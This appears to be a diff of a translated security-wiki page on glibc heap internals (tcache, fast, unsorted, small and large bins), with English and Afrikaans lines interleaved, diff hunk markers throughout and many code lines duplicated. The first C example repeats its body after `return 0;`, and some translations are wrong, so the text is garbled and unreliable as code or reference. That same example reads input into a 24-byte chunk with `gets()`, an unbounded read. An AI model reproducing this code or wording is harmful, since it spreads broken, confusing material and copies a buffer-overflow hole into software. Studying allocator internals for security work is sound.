Alhoewel drade probeer om hul eie heap te hê (sien [Arenas](bins-and-memory-allocations.md#arenas) en [Subheaps](bins-and-memory-allocations.md#subheaps)), is daar die moontlikheid dat 'n proses met baie drade (soos 'n webbediener) **sal eindig om die heap met ander drade te deel**. In hierdie geval is die hoofoplossing die gebruik van **sluiters**, wat **die drade aansienlik kan vertraag**.
Therefore, a tcache is similar to a fast bin per thread in the way that it's a **single linked list** that doesn't merge chunks. Each thread has **64 singly-linked tcache bins**. Each bin can have a maximum of [7 same-size chunks](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) ranging from [24 to 1032B on 64-bit systems and 12 to 516B on 32-bit systems](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
Daarom is 'n tcache soortgelyk aan 'n vinnige bin per draad op die manier dat dit 'n **enkele gekoppelde lys** is wat nie stukke saamvoeg nie. Elke draad het **64 enkel-gemerkte tcache bins**. Elke bin kan 'n maksimum van [7 stukke van dieselfde grootte](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l323) hê wat wissel van [24 tot 1032B op 64-bis stelsels en 12 tot 516B op 32-bis stelsels](https://sourceware.org/git/?p=glibc.git;a=blob;f=malloc/malloc.c;h=2527e2504761744df2bdb1abdc02d936ff907ad2;hb=d5c3fafc4307c9b7a4c7d5cb381fcdbfad340bcc#l315).
**When a thread frees** a chunk, **if it isn't too big** to be allocated in the tcache and the respective tcache bin **isn't full** (already 7 chunks), **it'll be allocated in there**. If it cannot go to the tcache, it'll need to wait for the heap lock to be able to perform the free operation globally.
**Wanneer 'n draad 'n stuk vrymaak**, **as dit nie te groot is** om in die tcache geallokeer te word nie en die onderskeie tcache bin **nie vol is nie** (alreeds 7 stukke), **sal dit daar geallokeer word**. As dit nie na die tcache kan gaan nie, sal dit moet wag vir die heap sluiter om die vrye operasie globaal te kan uitvoer.
When a **chunk is allocated**, if there is a free chunk of the needed size in the **Tcache it'll use it**, if not, it'll need to wait for the heap lock to be able to find one in the global bins or create a new one.\
There's also an optimization, in this case, while having the heap lock, the thread **will fill his Tcache with heap chunks (7) of the requested size**, so in case it needs more, it'll find them in Tcache.
Wanneer 'n **stuk geallokeer word**, as daar 'n vrye stuk van die nodige grootte in die **Tcache is, sal dit dit gebruik**, as nie, sal dit moet wag vir die heap sluiter om een in die globale bins te kan vind of 'n nuwe een te skep.\
Daar is ook 'n optimalisering, in hierdie geval, terwyl die heap sluiter gehou word, sal die draad **sy Tcache vul met heap stukke (7) van die aangevraagde grootte**, so in geval dit meer nodig het, sal dit dit in Tcache vind.
<details>
<summary>Add a tcache chunk example</summary>
<summary>Voeg 'n tcache stuk voorbeeld by</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
char *chunk;
chunk = malloc(24);
printf("Address of the chunk: %p\n", (void *)chunk);
gets(chunk);
free(chunk);
return 0;
}
```
Compile it and debug it with a breakpoint in the ret opcode from main function. then with gef you can see the tcache bin in use:
Compile dit en debuge dit met 'n breekpunt in die ret opcode van die hooffunksie. Dan kan jy met gef die tcache bin in gebruik sien:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
Tcachebins[idx=0, size=0x20, count=1] ← Chunk(addr=0xaaaaaaac12a0, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
```
</details>
#### Tcache Structs & Functions
#### Tcache Strukture & Funksies
In the following code it's possible to see the **max bins** and **chunks per index**, the **`tcache_entry`** struct created to avoid double frees and **`tcache_perthread_struct`**, a struct that each thread uses to store the addresses to each index of the bin.
In die volgende kode is dit moontlik om die **max bins** en **chunks per index** te sien, die **`tcache_entry`** struktuur wat geskep is om dubbele vrye te vermy en **`tcache_perthread_struct`**, 'n struktuur wat elke draad gebruik om die adresse na elke indeks van die bin te stoor.
<details>
<summary><code>tcache_entry</code> and <code>tcache_perthread_struct</code></summary>
<summary><code>tcache_entry</code> en <code>tcache_perthread_struct</code></summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c
@ -72,135 +67,131 @@ In the following code it's possible to see the **max bins** and **chunks per ind
# define usize2tidx(x) csize2tidx (request2size (x))
/* With rounding and alignment, the bins are...
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
idx 0 bytes 0..24 (64-bit) or 0..12 (32-bit)
idx 1 bytes 25..40 or 13..20
idx 2 bytes 41..56 or 21..28
etc. */
/* This is another arbitrary limit, which tunables can change. Each
tcache bin will hold at most this number of chunks. */
tcache bin will hold at most this number of chunks. */
# define TCACHE_FILL_COUNT 7
/* Maximum chunks in tcache bins for tunables. This value must fit the range
of tcache->counts[] entries, else they may overflow. */
of tcache->counts[] entries, else they may overflow. */
# define MAX_TCACHE_COUNT UINT16_MAX
[...]
typedef struct tcache_entry
{
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
struct tcache_entry *next;
/* This field exists to detect double frees. */
uintptr_t key;
} tcache_entry;
/* There is one of these for each thread, which contains the
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
per-thread cache (hence "tcache_perthread_struct"). Keeping
overall size low is mildly important. Note that COUNTS and ENTRIES
are redundant (we could have just counted the linked list each
time), this is for performance reasons. */
typedef struct tcache_perthread_struct
{
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
uint16_t counts[TCACHE_MAX_BINS];
tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;
```
</details>
The function `__tcache_init` is the function that creates and allocates the space for the `tcache_perthread_struct` obj
Die funksie `__tcache_init` is die funksie wat die ruimte vir die `tcache_perthread_struct` objek skep en toewys.
<details>
<summary>tcache_init code</summary>
<summary>tcache_init kode</summary>
```c
// From https://github.com/bminor/glibc/blob/f942a732d37a96217ef828116ebe64a644db18d7/malloc/malloc.c#L3241C1-L3274C2
static void
tcache_init(void)
{
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
mstate ar_ptr;
void *victim = 0;
const size_t bytes = sizeof (tcache_perthread_struct);
if (tcache_shutting_down)
return;
if (tcache_shutting_down)
return;
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
arena_get (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
if (!victim && ar_ptr != NULL)
{
ar_ptr = arena_get_retry (ar_ptr, bytes);
victim = _int_malloc (ar_ptr, bytes);
}
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
if (ar_ptr != NULL)
__libc_lock_unlock (ar_ptr->mutex);
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
/* In a low memory situation, we may not be able to allocate memory
- in which case, we just keep trying later. However, we
typically do this very early, so either there is sufficient
memory, or there isn't enough memory to do non-trivial
allocations anyway. */
if (victim)
{
tcache = (tcache_perthread_struct *) victim;
memset (tcache, 0, sizeof (tcache_perthread_struct));
}
}
```
</details>
#### Tcache Indexes
#### Tcache Indekse
The tcache have several bins depending on the size an the initial pointers to the **first chunk of each index and the amount of chunks per index are located inside a chunk**. This means that locating the chunk with this information (usually the first), it's possible to find all the tcache initial points and the amount of Tcache chunks.
Die tcache het verskeie bins afhangende van die grootte en die aanvanklike punte na die **eerste stuk van elke indeks en die hoeveelheid stukke per indeks is binne 'n stuk geleë**. Dit beteken dat dit moontlik is om die stuk met hierdie inligting (gewoonlik die eerste) te vind, wat dit moontlik maak om al die tcache aanvanklike punte en die hoeveelheid Tcache stukke te vind.
### Fast bins
### Vinige bins
Fast bins are designed to **speed up memory allocation for small chunks** by keeping recently freed chunks in a quick-access structure. These bins use a Last-In, First-Out (LIFO) approach, which means that the **most recently freed chunk is the first** to be reused when there's a new allocation request. This behaviour is advantageous for speed, as it's faster to insert and remove from the top of a stack (LIFO) compared to a queue (FIFO).
Vinige bins is ontwerp om **geheue-toewysing vir klein stukke te versnel** deur onlangs vrygestelde stukke in 'n vinnige-toegangstruktuur te hou. Hierdie bins gebruik 'n Laaste-In, Eerste-Uit (LIFO) benadering, wat beteken dat die **meest onlangs vrygestelde stuk die eerste** is om hergebruik te word wanneer daar 'n nuwe toewysingsversoek is. Hierdie gedrag is voordelig vir spoed, aangesien dit vinniger is om van die bokant van 'n stapel (LIFO) in te voeg en te verwyder in vergelyking met 'n ry (FIFO).
Additionally, **fast bins use singly linked lists**, not double linked, which further improves speed. Since chunks in fast bins aren't merged with neighbours, there's no need for a complex structure that allows removal from the middle. A singly linked list is simpler and quicker for these operations.
Boonop, **vinige bins gebruik enkel-gelinkte lyste**, nie dubbel-gelinkte nie, wat die spoed verder verbeter. Aangesien stukke in vinige bins nie saamgevoeg word met bure nie, is daar geen behoefte aan 'n komplekse struktuur wat verwydering uit die middel toelaat nie. 'n Enkel-gelinkte lys is eenvoudiger en vinniger vir hierdie operasies.
Basically, what happens here is that the header (the pointer to the first chunk to check) is always pointing to the latest freed chunk of that size. So:
Basies, wat hier gebeur, is dat die kop (die pointer na die eerste stuk om te kontroleer) altyd na die laaste vrygestelde stuk van daardie grootte wys. So:
- When a new chunk is allocated of that size, the header is pointing to a free chunk to use. As this free chunk is pointing to the next one to use, this address is stored in the header so the next allocation knows where to get an available chunk
- When a chunk is freed, the free chunk will save the address to the current available chunk and the address to this newly freed chunk will be put in the header
- Wanneer 'n nuwe stuk van daardie grootte toegeken word, wys die kop na 'n vrye stuk om te gebruik. Aangesien hierdie vrye stuk na die volgende een om te gebruik wys, word hierdie adres in die kop gestoor sodat die volgende toewysing weet waar om 'n beskikbare stuk te kry
- Wanneer 'n stuk vrygestel word, sal die vrye stuk die adres na die huidige beskikbare stuk stoor en die adres na hierdie nuut vrygestelde stuk sal in die kop geplaas word
The maximum size of a linked list is `0x80` and they are organized so a chunk of size `0x20` will be in index `0`, a chunk of size `0x30` would be in index `1`...
Die maksimum grootte van 'n gelinkte lys is `0x80` en hulle is georganiseer sodat 'n stuk van grootte `0x20` in indeks `0` sal wees, 'n stuk van grootte `0x30` sou in indeks `1` wees...
> [!CAUTION]
> Chunks in fast bins aren't set as available so they are keep as fast bin chunks for some time instead of being able to merge with other free chunks surrounding them.
> Stukke in vinige bins is nie as beskikbaar gestel nie, so hulle word vir 'n tyd as vinige bin stukke gehou in plaas daarvan om saam te voeg met ander vrye stukke rondom hulle.
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
/*
Fastbins
Fastbins
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
An array of lists holding recently freed small chunks. Fastbins
are not doubly linked. It is faster to single-link them, and
since chunks are never removed from the middles of these lists,
double linking is not necessary. Also, unlike regular bins, they
are not even processed in FIFO order (they use faster LIFO) since
ordering doesn't much matter in the transient contexts in which
fastbins are normally used.
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
Chunks in fastbins keep their inuse bit set, so they cannot
be consolidated with other free chunks. malloc_consolidate
releases all chunks in fastbins and consolidates them with
other free chunks.
*/
typedef struct malloc_chunk *mfastbinptr;
#define fastbin(ar_ptr, idx) ((ar_ptr)->fastbinsY[idx])
/* offset 2 to use otherwise unindexable first 2 bins */
#define fastbin_index(sz) \
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
((((unsigned int) (sz)) >> (SIZE_SZ == 8 ? 4 : 3)) - 2)
/* The maximum fastbin request size we support */
@ -208,43 +199,39 @@ typedef struct malloc_chunk *mfastbinptr;
#define NFASTBINS (fastbin_index (request2size (MAX_FAST_SIZE)) + 1)
```
<details>
<summary>Add a fastbin chunk example</summary>
<summary>Voeg 'n fastbin chunk voorbeeld by</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[8];
int i;
char *chunks[8];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 8; i++) {
chunks[i] = malloc(24);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Let op hoe ons 8 stukke van dieselfde grootte toewys en vrymaak sodat hulle die tcache vul en die agtste een in die vinnige stuk gestoor word.
Note how we allocate and free 8 chunks of the same size so they fill the tcache and the eight one is stored in the fast chunk.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the fast bin:
Kompileer dit en debugeer dit met 'n breekpunt in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een stuk in die vinnige bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -253,58 +240,54 @@ Tcachebins[idx=0, size=0x20, count=7] ← Chunk(addr=0xaaaaaaac1770, size=0x20,
Fastbins[idx=0, size=0x20] ← Chunk(addr=0xaaaaaaac1790, size=0x20, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
Fastbins[idx=1, size=0x30] 0x00
```
</details>
### Unsorted bin
### Ongeordende bin
The unsorted bin is a **cache** used by the heap manager to make memory allocation quicker. Here's how it works: When a program frees a chunk, and if this chunk cannot be allocated in a tcache or fast bin and is not colliding with the top chunk, the heap manager doesn't immediately put it in a specific small or large bin. Instead, it first tries to **merge it with any neighbouring free chunks** to create a larger block of free memory. Then, it places this new chunk in a general bin called the "unsorted bin."
Die ongeordende bin is 'n **kas** wat deur die heap-bestuurder gebruik word om geheue-toewysing vinniger te maak. Hier is hoe dit werk: Wanneer 'n program 'n stuk vrymaak, en as hierdie stuk nie in 'n tcache of vinnige bin toegeken kan word nie en nie met die boonste stuk bots nie, plaas die heap-bestuurder dit nie onmiddellik in 'n spesifieke klein of groot bin nie. In plaas daarvan probeer dit eers om **dit saam te voeg met enige naburige vrye stukke** om 'n groter blok vrye geheue te skep. Dan plaas dit hierdie nuwe stuk in 'n algemene bin genaamd die "ongeordende bin."
When a program **asks for memory**, the heap manager **checks the unsorted bin** to see if there's a chunk of enough size. If it finds one, it uses it right away. If it doesn't find a suitable chunk in the unsorted bin, it moves all the chunks in this list to their corresponding bins, either small or large, based on their size.
Wanneer 'n program **vir geheue vra**, **kontroleer die heap-bestuurder die ongeordende bin** om te sien of daar 'n stuk van genoeg grootte is. As dit een vind, gebruik dit dit onmiddellik. As dit nie 'n geskikte stuk in die ongeordende bin vind nie, beweeg dit al die stukke in hierdie lys na hul ooreenstemmende bins, hetsy klein of groot, gebaseer op hul grootte.
Note that if a larger chunk is split in 2 halves and the rest is larger than MINSIZE, it'll be paced back into the unsorted bin.
Let daarop dat as 'n groter stuk in 2 helfte gesplit is en die res groter is as MINSIZE, dit weer in die ongeordende bin geplaas sal word.
So, the unsorted bin is a way to speed up memory allocation by quickly reusing recently freed memory and reducing the need for time-consuming searches and merges.
So, die ongeordende bin is 'n manier om geheue-toewysing te versnel deur onlangs vrygemaakte geheue vinnig te hergebruik en die behoefte aan tydrowende soektogte en saamvoegings te verminder.
> [!CAUTION]
> Note that even if chunks are of different categories, if an available chunk is colliding with another available chunk (even if they belong originally to different bins), they will be merged.
> Let daarop dat selfs al is stukke van verskillende kategorieë, as 'n beskikbare stuk met 'n ander beskikbare stuk bots (selfs al behoort hulle oorspronklik aan verskillende bins), sal hulle saamgevoeg word.
<details>
<summary>Add a unsorted chunk example</summary>
<summary>Voeg 'n ongeordende stuk voorbeeld by</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[9];
int i;
char *chunks[9];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
return 0;
return 0;
}
```
Let op hoe ons 9 stukke van dieselfde grootte toewys en vrymaak sodat hulle **die tcache vul** en die agtste een in die onsortering bin gestoor word omdat dit **te groot is vir die fastbin** en die negende een nie vrygemaak is nie, so die negende en die agtste **word nie saamgevoeg met die boonste stuk nie**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the nineth one isn't freed so the nineth and the eighth **don't get merged with the top chunk**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. Then with `gef` you can see that the tcache bin is full and one chunk is in the unsorted bin:
Kompileer dit en debugeer dit met 'n breekpunt in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een stuk in die onsortering bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -319,23 +302,21 @@ Fastbins[idx=5, size=0x70] 0x00
Fastbins[idx=6, size=0x80] 0x00
─────────────────────────────────────────────────────────────────────── Unsorted Bin for arena at 0xfffff7f90b00 ───────────────────────────────────────────────────────────────────────
[+] unsorted_bins[0]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in unsorted bin.
```
</details>
### Small Bins
### Klein Bins
Small bins are faster than large bins but slower than fast bins.
Klein bins is vinniger as groot bins maar stadiger as vinnige bins.
Each bin of the 62 will have **chunks of the same size**: 16, 24, ... (with a max size of 504 bytes in 32bits and 1024 in 64bits). This helps in the speed on finding the bin where a space should be allocated and inserting and removing of entries on these lists.
Elke bin van die 62 sal **stukke van dieselfde grootte** hê: 16, 24, ... (met 'n maksimum grootte van 504 bytes in 32bits en 1024 in 64bits). Dit help met die spoed om die bin te vind waar 'n spasie toegeken moet word en om inskrywings op hierdie lyste in te voeg en te verwyder.
This is how the size of the small bin is calculated according to the index of the bin:
- Smallest size: 2\*4\*index (e.g. index 5 -> 40)
- Biggest size: 2\*8\*index (e.g. index 5 -> 80)
So word die grootte van die klein bin bereken volgens die indeks van die bin:
- Kleinste grootte: 2\*4\*indeks (bv. indeks 5 -> 40)
- Grootste grootte: 2\*8\*indeks (bv. indeks 5 -> 80)
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define NSMALLBINS 64
@ -344,58 +325,52 @@ This is how the size of the small bin is calculated according to the index of th
#define MIN_LARGE_SIZE ((NSMALLBINS - SMALLBIN_CORRECTION) * SMALLBIN_WIDTH)
#define in_smallbin_range(sz) \
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
((unsigned long) (sz) < (unsigned long) MIN_LARGE_SIZE)
#define smallbin_index(sz) \
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
((SMALLBIN_WIDTH == 16 ? (((unsigned) (sz)) >> 4) : (((unsigned) (sz)) >> 3))\
+ SMALLBIN_CORRECTION)
```
Function to choose between small and large bins:
Funksie om tussen klein en groot bins te kies:
```c
#define bin_index(sz) \
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
((in_smallbin_range (sz)) ? smallbin_index (sz) : largebin_index (sz))
```
<details>
<summary>Add a small chunk example</summary>
<summary>Voeg 'n klein stuk voorbeeld by</summary>
```c
#include <stdlib.h>
#include <stdio.h>
int main(void)
{
char *chunks[10];
int i;
char *chunks[10];
int i;
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to allocate memory 8 times
for (i = 0; i < 9; i++) {
chunks[i] = malloc(0x100);
if (chunks[i] == NULL) { // Check if malloc failed
fprintf(stderr, "Memory allocation failed at iteration %d\n", i);
return 1;
}
printf("Address of chunk %d: %p\n", i, (void *)chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
// Loop to free the allocated memory
for (i = 0; i < 8; i++) {
free(chunks[i]);
}
chunks[9] = malloc(0x110);
chunks[9] = malloc(0x110);
return 0;
return 0;
}
```
Let op hoe ons 9 stukke van dieselfde grootte toewys en vrymaak sodat hulle **die tcache vul** en die agtste een in die onsorteerde bin gestoor word omdat dit **te groot is vir die fastbin** en die negende een nie vrygemaak word nie, sodat die negende en die agtste **nie met die boonste stuk saamgevoeg word nie**. Dan toewys ons 'n groter stuk van 0x110 wat **die stuk in die onsorteerde bin na die klein bin laat gaan**.
Note how we allocate and free 9 chunks of the same size so they **fill the tcache** and the eight one is stored in the unsorted bin because it's **too big for the fastbin** and the ninth one isn't freed so the ninth and the eights **don't get merged with the top chunk**. Then we allocate a bigger chunk of 0x110 which makes **the chunk in the unsorted bin goes to the small bin**.
Compile it and debug it with a breakpoint in the `ret` opcode from `main` function. then with `gef` you can see that the tcache bin is full and one chunk is in the small bin:
Kompileer dit en debugeer dit met 'n breekpunt in die `ret` opcode van die `main` funksie. Dan kan jy met `gef` sien dat die tcache bin vol is en een stuk in die klein bin is:
```bash
gef➤ heap bins
──────────────────────────────────────────────────────────────────────────────── Tcachebins for thread 1 ────────────────────────────────────────────────────────────────────────────────
@ -412,96 +387,90 @@ Fastbins[idx=6, size=0x80] 0x00
[+] Found 0 chunks in unsorted bin.
──────────────────────────────────────────────────────────────────────── Small Bins for arena at 0xfffff7f90b00 ────────────────────────────────────────────────────────────────────────
[+] small_bins[16]: fw=0xaaaaaaac1e10, bk=0xaaaaaaac1e10
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
→ Chunk(addr=0xaaaaaaac1e20, size=0x110, flags=PREV_INUSE | IS_MMAPPED | NON_MAIN_ARENA)
[+] Found 1 chunks in 1 small non-empty bins.
```
</details>
### Large bins
### Grosse bins
Unlike small bins, which manage chunks of fixed sizes, each **large bin handle a range of chunk sizes**. This is more flexible, allowing the system to accommodate **various sizes** without needing a separate bin for each size.
Verskil met klein bins, wat stukke van vaste groottes bestuur, elke **grosse bin hanteer 'n reeks stukgroottes**. Dit is meer buigsaam, wat die stelsel in staat stel om **verskeie groottes** te akkommodeer sonder om 'n aparte bin vir elke grootte te benodig.
In a memory allocator, large bins start where small bins end. The ranges for large bins grow progressively larger, meaning the first bin might cover chunks from 512 to 576 bytes, while the next covers 576 to 640 bytes. This pattern continues, with the largest bin containing all chunks above 1MB.
In 'n geheue-toewysingstelsel begin grosse bins waar klein bins eindig. Die reekse vir grosse bins groei progressief groter, wat beteken dat die eerste bin stukke van 512 tot 576 bytes kan dek, terwyl die volgende 576 tot 640 bytes dek. Hierdie patroon hou aan, met die grootste bin wat al die stukke bo 1MB bevat.
Large bins are slower to operate compared to small bins because they must **sort and search through a list of varying chunk sizes to find the best fit** for an allocation. When a chunk is inserted into a large bin, it has to be sorted, and when memory is allocated, the system must find the right chunk. This extra work makes them **slower**, but since large allocations are less common than small ones, it's an acceptable trade-off.
Grosse bins is stadiger om te werk in vergelyking met klein bins omdat hulle **moet sorteer en soek deur 'n lys van verskillende stukgroottes om die beste pasvorm** vir 'n toewysing te vind. Wanneer 'n stuk in 'n grosse bin ingevoeg word, moet dit gesorteer word, en wanneer geheue toegeken word, moet die stelsel die regte stuk vind. Hierdie ekstra werk maak hulle **stadiger**, maar aangesien groot toewysings minder algemeen is as klein, is dit 'n aanvaarbare ruil.
There are:
Daar is:
- 32 bins of 64B range (collide with small bins)
- 16 bins of 512B range (collide with small bins)
- 8bins of 4096B range (part collide with small bins)
- 4bins of 32768B range
- 2bins of 262144B range
- 1bin for remaining sizes
- 32 bins van 64B reeks (bots met klein bins)
- 16 bins van 512B reeks (bots met klein bins)
- 8 bins van 4096B reeks (gedeeltelik bots met klein bins)
- 4 bins van 32768B reeks
- 2 bins van 262144B reeks
- 1 bin vir oorblywende groottes
<details>
<summary>Large bin sizes code</summary>
<summary>Grosse bin groottes kode</summary>
```c
// From https://github.com/bminor/glibc/blob/a07e000e82cb71238259e674529c37c12dc7d423/malloc/malloc.c#L1711
#define largebin_index_32(sz) \
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 38) ? 56 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
#define largebin_index_32_big(sz) \
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 45) ? 49 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
// XXX It remains to be seen whether it is good to keep the widths of
// XXX the buckets the same or whether it should be scaled by a factor
// XXX of two as well.
#define largebin_index_64(sz) \
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
((((unsigned long) (sz)) >> 12) <= 10) ? 110 + (((unsigned long) (sz)) >> 12) :\
((((unsigned long) (sz)) >> 15) <= 4) ? 119 + (((unsigned long) (sz)) >> 15) :\
((((unsigned long) (sz)) >> 18) <= 2) ? 124 + (((unsigned long) (sz)) >> 18) :\
126)
(((((unsigned long) (sz)) >> 6) <= 48) ? 48 + (((unsigned long) (sz)) >> 6) :\
((((unsigned long) (sz)) >> 9) <= 20) ? 91 + (((unsigned long) (sz)) >> 9) :\
